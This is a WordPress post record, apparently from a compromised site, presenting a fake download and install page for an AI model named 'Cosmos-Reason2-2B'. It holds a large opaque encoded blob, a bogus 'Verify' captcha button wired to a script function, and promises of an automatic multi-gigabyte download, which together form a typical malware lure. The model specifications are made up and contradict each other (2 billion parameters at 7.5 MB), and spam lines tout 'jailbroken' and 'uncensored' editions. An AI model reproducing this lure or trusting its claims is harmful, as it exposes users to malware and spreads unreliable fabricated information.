zWA2UBUY\/DyxfYrpdnquLNFDTTg+xTta02WcAXFbGZm7qDTpPdagaMp+PQD0MKn5mxab12EMgjPo5YU7J092mbxNSmIXIbGrUn26tnVS+rlj05QAnU8z9kLcRJwvYK8Hb5gDzuqr6RqQJvrY+ln0oujR1odwa5qj6dzNhm9YIOZKz1tmxQuZiIVA89fAmAibqqJY+mNg7y0baqtErbraYgI+XCgFanuKXqSoFx90pm7Y3nwxfPNKTfck0YEhC0eNUg3I5aui+Ib9Xxg4HSBcxYF0OANADijxs0k3icJ9TQEOfLNosPuqkKfbCSMb9F1J4hPDmaaq4dCAEr7YX8YXCtC2HYRzDMciLv7PnwOEw3IHUwXtRhHIBih+K2Q\/QYSZ++OL4vbQQ4Jk8reniy0LL8whpQ4q+NfkyF0vrMn6WMJxERuoWR5YlQeD8BVVUNnW0rcSPxTwaT3BgiJSSNKYf3e9oQLosAnMsFyHi9Z1lq4ScpNfepTJnzdT+bOvH66\/k+i\/GGrUh4nq1Pu6cUWLotGpxADxUq\/WgizUrYu4KszE5ggOPZX5BaQf8kJ5E1od\/RHrJp4RzDdAj3TmVAv4juJt1OKNR9eaUrpOI3eEepgTi+w87Lpv6sLuH6+C0hqk8EfL\/\/7DMQcczhD\/Nk8zHuMq\/oFOoEkG7LFd3Z+ZlSjpFJiwCBQkJeHmT86Rys+ksXbiFejCT2VMxUs95mCXXydJoZtjDjLJVxqunb0cggoKZn6qHum0Ql559wEKC3a+jNnXTt4IFiE7KqhGdL64BS1QYMoVJOquDVYotpO1s0zotd9EMjeuJ3ZJWQHdnTZI8R+BBox1Cq6qTVOFo3f+FwPGjKtsv9\/0zYHhu8VlAG8cIyqQbUZy0SLWkwLHIlok2uP0WCbTkc5O4+DyeC4QgXDgtk0AcaUXwBjeRjQD9FQqOnY+Da\/W1jNHtFOe1ouyBo8QwXY\/+l7z+zEBm1V8FxwfDv\/oNqWtiHBoB6i00387xYK23IjozSD3Y8AavHXPFMFfcfwPFAGSI9vgzNXq\/K4lJL4IpEHNAGhcnczeG4K2DZV1dvDe1CnHZkNPkmW+tfM7iMuJMO08XDSoxOo+wtcf6znYNEtU4qu3jRmo615t40yIXO38M2o8CgyMTZ7LKDbnO95fvTmhcnAiKlcGYWEAqC7zfgICd\/laJyruzdzTZKSG9lE+DUPxJa4mte0foWjHe3t+6f5ePO91NIsMv51izxQj1KQh01wLFy1RnB\/JtKqE8fj2EwAg6S7gEvD\/UUF+OUBbQiW0af6qN9+mhrWK1BrDqn5ROSQWKunyZyq+jcgAFMMeeZlrYy3YVHaPkhHklWAm4uXpB32H88V6IETOxZ8v3F9+qpMHfZUFwZ3VkURtvPn1FR74Yzzl9VveXCyPSsaH+ct\/YF1wJQGaPJsRMwwBubuq1MUP+F0Cxtph\/94fop4M7qrjajVLZzess+8GCsPaBR6kR+jbCg9VqUgthiakNy6GFrhrO169wouCb+Tew41+MHy492O71KMvwtsDWWM0acR2PRwC1SUCdq50pfosGWG9yQSnzJnD5YwWnxYgRRXyGjeJ6aG8laWqTWl7OdR\/8htdaSfFPd1G8wuFpl6N\/KpusUcnqxXycehbqNUUW0Gv24RL3mAGZooHLcwo\/ssp\/8roS0UDC7\/2Hy49rglq89H7xRsOM4qpgLhchj4ZbKrynHr98sxv4C5XVs44sGg1siC1uv47bibKC0zmWIe5aUifaFKPqi4JxQOB0fWmlsmvlTN7o4T9jeTmlHnQYJasvCW258OoraB6W+ckdAkyfQ+mEY4OEm5My5wsuMtlVa9vTMeKibehBfaBi3W\/mKmWR4MZjI4+2+5y+S1BCLCrQVD7j+9j9p+X3VOxtS7LBgjodCGqpbDu04s8404BbAbXj5KKvO2DsmWouJM8IbBB32mAZTQLYZTUeliRlr8oVGR+SPGkv1zy3bMCXj77WzaI\/bRfF8\/5x1f2MrfAnNgcXOf87WfNlj5PdwZmhNUPduRC1h53iaTGGNMcYEClR6yDrauBUgHTlUwCZDN1a0YyUNBT3f6NLVp9ls7YAofqz2u9MYUnN3ec9aoFjjnjb3H9PcjDAOUwtMXuna3TReSLgenGY4bC5qd7BL38W\/GHlmF5DdLyR0LODvkU9psAEgR7WpI\/m5tkZjFmNGzeTz5huPldnM+CIR4uqLZAsQnrDo+5MdfOmOLJ0hxsWx6iaUONKdzczjpMU+VNMIoLcHZFgzcUgnZFeqhDoVcX6\/03w+9YV0r8rm230jB1J88gXoGmO4fQBSzycdUDfSnSSHtcGP3aPF9T0t9c\/\/5RPAoSpQ1yUbQecZ5dnfTB6TTd5ojWUMGbOnu2vOepA+o8NWGxuDDBZGTQIWmK9OcsBq6WhBbGHtSW4xm0UUSGCHffcR\/MgwJ9gHqah45OyXIhKOCbsNZnVWLQt57KPKOi77Bl2luTko68IMhXpmCOgnh6JtSwegvn3jTBFJ9CL7KXdfCwM\/A1ZB4X9RPcpEPOpK883T0ssYTSUaaxICQKCGah0e6pvw6BTyU7zI9ZHWsmZX0bJLCv4cuGFQl4mgfjd\/luRtHpsGSJv53CJ42BKxJzg1734tMaCIWfh7pKMO2n0n\/KZubzxLS7pRBSM\/wPxJf9mx53QiNpphhGC8cIpJw4YxkUaND3lw04+fXUMvu0knWuuWtgKfLrmu8r7jj12D4VzOFPqg5zOlfDCfozrVNfuDnreARe1qbrulrzkGHc6AKoUpubNfTSMT079R3esPW71szhV\/6f9uMDJCuHpUaXuzCvXWjs0nEaKPrLCP0QMUt4CdzuMHvkaaYa3bf3w14Ey\/gaMcYBoNoOQIfA2lHQqldfMf0T8UdIbi9mLEtDJoy\/R8j4oBwtTORZIz+8ymICnLP4+7qyE0SVX3jET7f1VT1n7pmeFDVFmVnfTJR2tkImMAz3OL1Tmr63GXDczERK9yfs3lEl1hJ9Tb2qixkAevDJOVF0rzD7WeK8sghFPJQ6Iu46lNPTl1lEaLf9xlZegHkBGFE98XttKcNosJz4FqP1Ar6hmH4ULGVd\/j+h87RipW64CTaEwN93ywQomS3qDVkafuPjSC9Qq\/gPQz9NvWBGb+S6Sr0BnWPXlHh1JeyPzYhwuYgIbICdWHBtD6\/0cUytaUW7C+wRLT9aWHLB9+ZEIYUVDtdk\/fjtYQ\/WA+Evvw228si7LVTRTi2i0tPGfJjCbnKqcGNlY0Td0+lEfWER2rvVAP8iklRXSDySkODWYq3jlJy6x1+s9kfJzbshcf\/e02gxRuobQ54abA0fyNKrZ3\/jv2JrQeWr8pdRxpA9jkWz7frJeQw9KrmxqkDk66qTuALFbuyFNmukFQDvpklezqghcrwQ8yHRzzI9vpHVYxRcbNdnixPN9W+kFyUbs28bOCRijNsyHjSr\/y5C2fWQ1npEG74caF2EAxtOYdK6fDvmARgBR2bQzf\/BA+FRw2+LQrDZOXCO3sTOAcJMgHmGTLX6ogb1adA1cHTnlLu\/p2oexTBO+mJzJL35g5Ca3S88ESx9aVnE9FYC0XoAj5qpFDo0Q5yJBJ3VEkbOSyvjyVZ66nQ96SkwJeJKtB39Hx2s1m7Upsh++niR0de3EhnwQBxAZ5yDEnXzHu8m16z+yWK6fsq3+oyrQzGrqDBS0Elh\/meRce6PYnXK12HBjKYso4YpJiS3ct9rxGV2ZO24yFB6RON1y9yv98RRH9AW8PC1\/1Fu\/GuZi2ZfZK9rOnMt32rjRxWHEpNc\/WOGjKbnNslWKAlINzUCBxBYPnU3Lhp7oZWlmtNWi\/F352KoL08K2ALPdPp0EZuob+w\/MQzBls1yM2yeFVuQ4E8Wlabr3Fr+n9gJ6b5xDKnBqylBK8K7iWfLZWMusbKTvDcTQnUVKB5FdXcTyDvS+QiMwAFRb4Nl2iAWE7\/A0PsFv1diLPlCl32pOkLSvIcAeq4pNpt5gogSdeBgNmgiqCEUJbzV28jITYlwV8qnQhN3srVa4rIl29p3A+4q8tGjJM3VArsukVA1l\/TRQDBMtcFgscjYhgz\/cpNs2kZfYnulBQF\/GwQgrT\/zK9bGIsqZRYz42d1fnd17r+pKeHTrneno2Dvly4HQeCGRn7xSNEjfWYiqjFzjTjuSUsx1rs13MgIeV8WtfxJ\/EQ8q3kTh\/iGZ6hHd4GmPglAdd7KEMtF+0Dlu0BF8L0SuBFw1tgBVImThixcOrsrHL1\/mPYqU4tALuG\/+WpkUS6jK\/YjDV9fU8PLyQQDISSAgbgoJtNXxnI5GaC02vwufs93J+0LqIQP\/PBO5iUkiJj47hzGg\/LV6SZ4JsSZlvP2KyVn6oKNX\/uXvw+qTQ2TeeD5tWc9t1XN46z\/hXrujt9etmPz2Stc0oOkrbt+0H2KWzDiJlLbIJBdC+4FbnO5E\/bN99Qom0\/xWj8+A7eC0Wlz7+Y+kwb6HvLeL3ASpHUhuY7WLf99ps5MTVdQKIrrsy5Lmbnl6miv7BnsYfmEhUXc6eQUFs6I6Vz8Uq7JkMTWSKM76PhqArP2BNwUQ2XpeLdHeze3qfOKXzgk30K9nuvponsuSyrrTQHL51FUCY4Dj+k6u3ccVR8MCbmD3uMBbMJZa6kDI00uQa6j5IqrpwDE0xl8ndnlFNiTGmx\/rFBeuT5AGDRrSUAu1XH2jP5vCfB3v773Y2bzseKkr7iARGtDOMmC5F6IX5+aLvEVg2n\/e9EnIEOYYBKxUnLunSIa\/r8BKQKTKPHZSdsxnPhWSyIgWqZaRr4N1h8nwr6i3jKMyV2+f03Z50KvG+\/vuNNX4jaIEXlTOykeMhUNu7wMD3rM+9ESsGzrTei9FeDuupErJrelOxVqK8Tsq7fp+U\/sIcCc3Pcrupsh8FeSyPbW5UZAvfwStR5ZLOYj2Qn2etGE81YZoVcdGW\/76b1tWak3ddvb+ZaH9700dyp7qzK99u1mg7hk2aaf4wiIOz0HPEPVFqY388KB+wh+uzg99Agx6HJwLHNxhjdumb1mlWubNuMVp7\/NkbZwv3B16L6R9s95206wZoFnfix12\/EODJeIP2tQkrXhs2hndTJnip7kdIOW+9AqsCkbgoOvHsnx1rIwS2aALOokgvYlintCp0QaqL9nRN1C7jIklALTh4iN87TeYNyUneMpKO8tOzXeG7OezKutVwcsFVCiOE\/S9MpSK85B5kVcNx0pTN9jPPf9Gaxi1z58\/X6wBavxd+4X\/5W\/UnMB+ANlNECoZcvbyaFYSj77i3lFONSxES6oUuI6pglZvBqScbBYfZCQW5LZJ5xruW4UA3HA7hY9rn1qoSPwQXIsEYqNdrW0cVzc3ylFBGu0IJGOg2uhcXum3X4JI3YqhJlHZI\/Gz08H6uc68I+nUVitE3C+nIW34xrOKX47mqBbBLs8RwpzBNlem5\/orovWtoEblB7ZZiL+bDzFZHZWvT\/kavFwa1FXgW1XaBrbJLJ\/eTotrEcz4uF\/hyQHfrMzCYH0Vad4KlDSVAPb2S3s99mbpCiwJ3+cnaLL4I23uI7CB1GjBbnJ3zhXy\/4MysvLhgJBYUhMtwB7yURBd90MODzOBx6w8eeiJkTONjahG7Voiay8SDKBxeztA8jpHPADOEu0Q7moMcBhuXoqceJNjETumIk7RAWVe0ekCW6+zCnKC1FMz5HTqCNs+SduTjV1woZxluHNP9tp+opeQmb1ajBXfBwcDKg4YQ8PqvwcQHDr9NnCV2xejKYVsxJMWSS\/k+XQOqMx7cgVbR1vGd76imiaUOFsApyyeOFEita+3SUB3Wn9Ek0N3oNtxky1O3cc9JTPpDCgw+pP1jIRFlLwDJhfsEihK1atP2lP87mjevxnW3nJBzj6G\/LipH6gLGZfI2YAzlHiD9\/1pauRWdmEGx9i88jISB5Eqgr+XGpilLdSIZMOgZl1ml+1YhHRtHZHAw89bJTZj462xr5O0kqVzfO+yvVexsiOd5AunjzRSBPLrAsHJ\/tr0qAeOzi\/hWdfCMq9BdeopMufA+T6drNXpQxfMtBSTcofVYxXIXb43LBb1jh9vyE5QZtDf\/lo0uJRzCyMeJVUZueDAw7b4UHiRl6KF0Tomf3tjzD48AGhhxXxi4hmrbAOF+\/4ZIPOD+G3oDc9eiEzYWpJby64xEu24DMoh\/lalZKCZtHkxe\/WA9RZ9WI526J5GxDdgJ4aMNZspC6sIP4SInH8fWtPEKrZk8Rjh58bU\/Uad3UEObG0vEgBEO22a5e+O8+ePNC4kJnhL8RGlFnagnfCwgneVQ3aVGkN2oW4xntYGVxYLbhkQ7J9A1nZgAjbCpBjWTq+NykQ37+hKWYvLcPIVxQieHb1ycJjCsBzM\/BGYUm4qDnDOHrGh8yZxrxOdVhwJHlz+may9D7r+Werr1jY9xGmEjXdlCX+8nk\/EkucM0dAi4nSTHijVgCtQ29O9pPJVK2Du7Ldd+PStTWn3tT6ev8FfZ77XXV3e\/JjaIhKZ2vtnt+Ei8BAldF3A2jzXeMtAmFoXMyFrqzlS0PAoqZv+5yjSd7SvrB7+50bUOPh2EEBZ\/8nDyFHo8BKT+eyf1x3kaW1wd54kP+n765JpEm3b9c1\/E3ITuOTyFZYkvQvfVSDlPi6YdWkN2Ynz6s5pTSgAjpuxWsrK5WRH8sFBnSl+WboT1Wf37dHq6sbYV3tKeStDYa\/+gn9LP+hkc\/V76tCWOUA8METv0BFOBmwcno1\/E6pnyysvuH3zoWTlCfz7KvIZrXxw9YrVES338uIYBXYG\/4NWsQbx1RMVRmsCuJDxfu4nBNxDEej0q0HC+b+npRHVhBGV03Yj5RtpGAl+PmdkE0csjYZcI5fJ3yPEMGQSzcy6Kg2\/j2iMLjn+i7YCeX5aANn4lqpZ4\/X42VTQDdeASXR8z+zOEe99hB+xf1rFUMxBtO5rRdnwIj045ZJVeu5sMdqqv\/YhaTYnt5OgpiAzK8ZWWo1kiFW63nEsMpiD23hJnS0Y+C9FXmJGMkJ1LNSMqMnruPU+VsYZFPv54klH\/hNuYD1aPxJyiL9HNQq1FoGtHy7yuEojsbL5Q1o1EcldT723XbyTMZXjSgacEmW6amFKdsS0GQhCL0shgMPLQ8wl+qvBR7yJQOS0Sm3kSxUfm4C7OVAD3YkzqkDHUgDB29wzIBh1Bk8GB9Gu1rcEuDIYNGl5Z\/EXr1t7pv8L9Gtd0Ka\/1fYLEpJkmqy4lcos8ijyPjwWepT7KAXJrz8Vc9xGTJG+NHc4W6k\/K4hv5RC7dQxZcGkDNzwRS1robOz02bVPcn9X6B4me9Wbnco8iK4vPNytIq+ZHCNNpxJWb0HjfcX1yo\/Uz5wzdE7F1z3SFylW502O3UcM5zb5V8rSRH+P7SqqMFZ91F74j1Xk03ReZf1Sz9VhVFAr6XuyZ6MEncJsRq6qgrma54kQAqZpDwA1v9WkHbeAIfMYq+NF2yjUVSvtcLZm21XPtu6S7Kh4TJwAF2cZw5lgN3pSgcwm7cTkplrZlciFk7RJuPy0ivKz5sZlByXVU3VCJVYq+sL7klrENiiljAvIhfofQIw\/D2CcKthQay93hogm5AEGEQ9hYD\/fA8LT1nKnYUxNqS2xrrG6gx2syLqcihtGjaJ4I6YqMNjo2G2atyzYKX5PqkqFSppKagebNc52T9LAak3RIxZFIX8RaRXOHwjjzmxhtJaej2h\/Ze5+anS8JoRei\/Grz2TK4ryzf8HE++9UpTzEqhR8VflRcosdXN+UabiUwFDJoK8fKDx3+uvkOk0RLp+qkpqGgFGGzsfFDe3vuLvIDFCjuC6RFGNiY+19cgkxxyvU2uBp58xyo+ImnWJUYZCJsb9mUch2KW6mEehUE9qQUP6Rcpu5F+r5z0QEYI3KW\/eiNzRN30Qlt6LALCYJeq6KDNEYsc560ZIp5JJKPpUs70aPiRIBGnViGM5znXPvHDH6lNvCeVPXHwtHXEd9OxD2fTkpC4AV4iKIQlLxVq8oURHLNSC\/Hho6sK9oWnDf4ostRJ8mCXn4vJCGhdD\/NPOlxCnfz4J\/NK3Wbb9\/L422apvEYAwy\/FYjT0lGY2W0RFV5oj\/2dApZCTKCQZO55ee5NBhMRxZakFPfcUZzR+7MSwYWdkdnCYky4zyn\/cLdouN+DWtzmKKQLjo0SshXukTq6X3IIAaDOOwcH6ZGNAdAYhJtQMpizY74dxj3xjgCSuSP1eZBId5su2mzcng9YnkufaOwKRwuBCOUGIv+SbhC0EaJuE\/kaZrykNmp0tc3OslKGAdKwpKBkLE5jhe0oMIy71l5NbnAJpYcqXzzExFB7QMdj5gETxlu\/15v5Tb43R6GZntDMfZcSX\/XupIBUeBnOxrUhfIfQ3rltjeAwn6oe2nlvm4oIYoh9SuYtA6HljOTjO4HtAcL7+QBZ3yPQ2XsDK4NL41+33EeCxEWYKF3pKwQn\/je+ZhN1kZ7TIoIG9rwUg8gcKbMPhKluNzgAaXqIlO68rb3Lw1X6\/zVJYZSkyEi8Gf\/Z49ZNov3pcn64ZotxIvMdMnnfHobcs6j6kbt91\/AV5X3LsbphPw4GnO\/8GBWHSD1lbW4v3yGa8r1imSX23PAq492zMUQxcC0XvAendjQgm78X8hmYZnv992J+hlRKmiDIdfVDFu+jTEbVXT6q6E0Rhlrz+BSweGdMmkQdBNLUZxLUUJUofcz77vOK4iHQ9hVi8Dhl6cEMKjxGeL9wYCWjMKaQr3DkTlIIP+jX9zw1KCy\/Ci0kW4Yord\/7OYcfQgEsSExqc7SU+KgFCp1OL6P9dFlTcfoUEKaMM5SJjLHt4jgtJiwI+9wd7kL+GbRjJBH6ywqMrg74hTYq\/RPEklCq93EpbdFTYUNJWoIcv\/+d7NHzN\/DVYJJi6KyXJ9YqGFUPA\/o\/eCiixc2KopFXydDhOWSitSXYGVQZ7rJJ88YQmeNk2bjffuaDVuM2snF9s3+R6z8+e04UHSPrlEJThFIbQX\/zxb12ZYoi\/Jxpfuvsvqf6ilkLWiLyrw50epbZBPfUUYXQ6cFx8ScvpvLt9FKwNRTClW6C+E+EGEhjI1IikWV0Eg5z74vj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alt=\"Cosmos-Reason2-2B on Your PC with Native FP4\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>If you want the <i>fastest local installation<\/i> for this model, use <b>Docker<\/b>.<\/p>\n<p>Please <b>follow the instructions<\/b> listed below to get started.<\/p>\n<p> <\/p>\n<p><i>The client handles the setup, pulling gigabytes of data automatically.<\/i><\/p>\n<p> <\/p>\n<p>Once launched, the setup wizard will detect your specs to <b>configure the model for maximum efficiency<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:12px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 8px 20px rgba(0,0,0,0.04);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:35px 45px;text-align:center;font-size:15px;color:#64748b;line-height:1.6;\">\n<div style=\"text-align: left;font-size:11px\">\n<div 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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:29px;padding-left:24px;margin-left:0;\">\n<li><strong>Processor:<\/strong> high <strong>single-core<\/strong> performance needed for token latency<\/li>\n<li><strong>RAM:<\/strong> fast <strong>5600MHz+<\/strong> required to avoid memory bottlenecks<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Cosmos-Reason2-2B<\/b> model delivers state\u2011of\u2011the\u2011art reasoning capabilities in a compact <b>2\u2011billion parameter<\/b> package. It leverages a hybrid training approach that combines symbolic reasoning with large\u2011scale neural data to achieve superior performance on logical inference tasks. Despite its small size, the model maintains a long contextual window, enabling it to process up to <i>8K tokens<\/i> per input without significant loss in accuracy. The architecture incorporates efficient attention mechanisms that reduce computational overhead, making it ideal for deployment on edge devices and research experiments. Benchmarks show that <b>Cosmos-Reason2-2B<\/b> outperforms comparable models by a notable margin on reasoning\u2011focused datasets while consuming less power. Its open\u2011source release encourages community contributions, fostering rapid iteration and the development of new reasoning\u2011augmented applications.    <\/p>\n<table>\n<tr>\n<th>Parameter<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>2\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td>Hybrid symbolic + neural corpora<\/td>\n<\/tr>\n<tr>\n<td><b>Benchmark (MMLU)<\/b><\/td>\n<td>84.3\u202f%<\/td>\n<\/tr>\n<tr>\n<td><b>Inference Latency<\/b><\/td>\n<td>12\u202fms<\/td>\n<\/tr>\n<tr>\n<td><b>Model Size<\/b><\/td>\n<td>7.5\u202fMB<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Setup tool resolving Windows long-path errors for model files<\/li>\n<li>Cosmos-Reason2-2B Offline on PC Fully Jailbroken FREE<\/li>\n<li>Installer configuring distributed tensor calculation grids across multiple local computers<\/li>\n<li>How to Autostart Cosmos-Reason2-2B Locally via LM Studio Uncensored Edition No-Code Guide FREE<\/li>\n<li>Downloader for customized Gemma-2-9B GGUF layers with precision offloading configs<\/li>\n<li>Setup Cosmos-Reason2-2B PC with NPU No Admin Rights Local Guide<\/li>\n<li>Downloader pulling refined instance segmentation models for offline medical imaging calculation nodes<\/li>\n<li>How to Run Cosmos-Reason2-2B on Copilot+ PC No Python Required Full Method FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>If you want the fastest local installation for this model, use Docker. Please follow the instructions listed below to get started. The client handles the setup, pulling gigabytes of data automatically. Once launched, the setup wizard will detect your specs to configure the model for maximum efficiency. \ud83d\udd27 Digest: 6f8abc13c3692982a9a92d3da2db6a46 \u2022 \ud83d\udd52 Updated: 2026-06-26 Verify Processor: high single-core performance needed for token latency RAM: fast 5600MHz+ required to avoid memory bottlenecks Disk Space: 80 GB NVMe SSD required for fast model weights loading GPU: high memory bandwidth GPU for next-gen local AI pipeline The Cosmos-Reason2-2B model delivers state\u2011of\u2011the\u2011art reasoning capabilities in a compact 2\u2011billion parameter package. It leverages a hybrid training approach that combines symbolic reasoning with large\u2011scale neural data to achieve superior performance on logical inference tasks. Despite its small size, the model maintains a long contextual window, enabling it to process up to 8K tokens per input without significant loss in accuracy. The architecture incorporates efficient attention mechanisms that reduce computational overhead, making it ideal for deployment on edge devices and research experiments. Benchmarks show that Cosmos-Reason2-2B outperforms comparable models by a notable margin on reasoning\u2011focused datasets while consuming less power. Its open\u2011source release encourages community contributions, fostering rapid iteration and the development of new reasoning\u2011augmented applications. Parameter Value Parameters 2\u202fB Context Length 8K tokens Training Data Hybrid symbolic + neural corpora Benchmark (MMLU) 84.3\u202f% Inference Latency 12\u202fms Model Size 7.5\u202fMB Setup tool resolving Windows long-path errors for model files Cosmos-Reason2-2B Offline on PC Fully Jailbroken FREE Installer configuring distributed tensor calculation grids across multiple local computers How to Autostart Cosmos-Reason2-2B Locally via LM Studio Uncensored Edition No-Code Guide FREE Downloader for customized Gemma-2-9B GGUF layers with precision offloading configs Setup Cosmos-Reason2-2B PC with NPU No Admin Rights Local Guide Downloader pulling refined instance segmentation models for offline medical imaging calculation nodes How to Run Cosmos-Reason2-2B on Copilot+ PC No Python Required Full Method FREE<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":["post-2267","post","type-post","status-publish","format-standard","hentry","category-safetensors"],"_links":{"self":[{"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/posts\/2267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/comments?post=2267"}],"version-history":[{"count":1,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/posts\/2267\/revisions"}],"predecessor-version":[{"id":2268,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/posts\/2267\/revisions\/2268"}],"wp:attachment":[{"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/media?parent=2267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/categories?post=2267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/luizaaugustapsi.com\/index.php\/wp-json\/wp\/v2\/tags?post=2267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}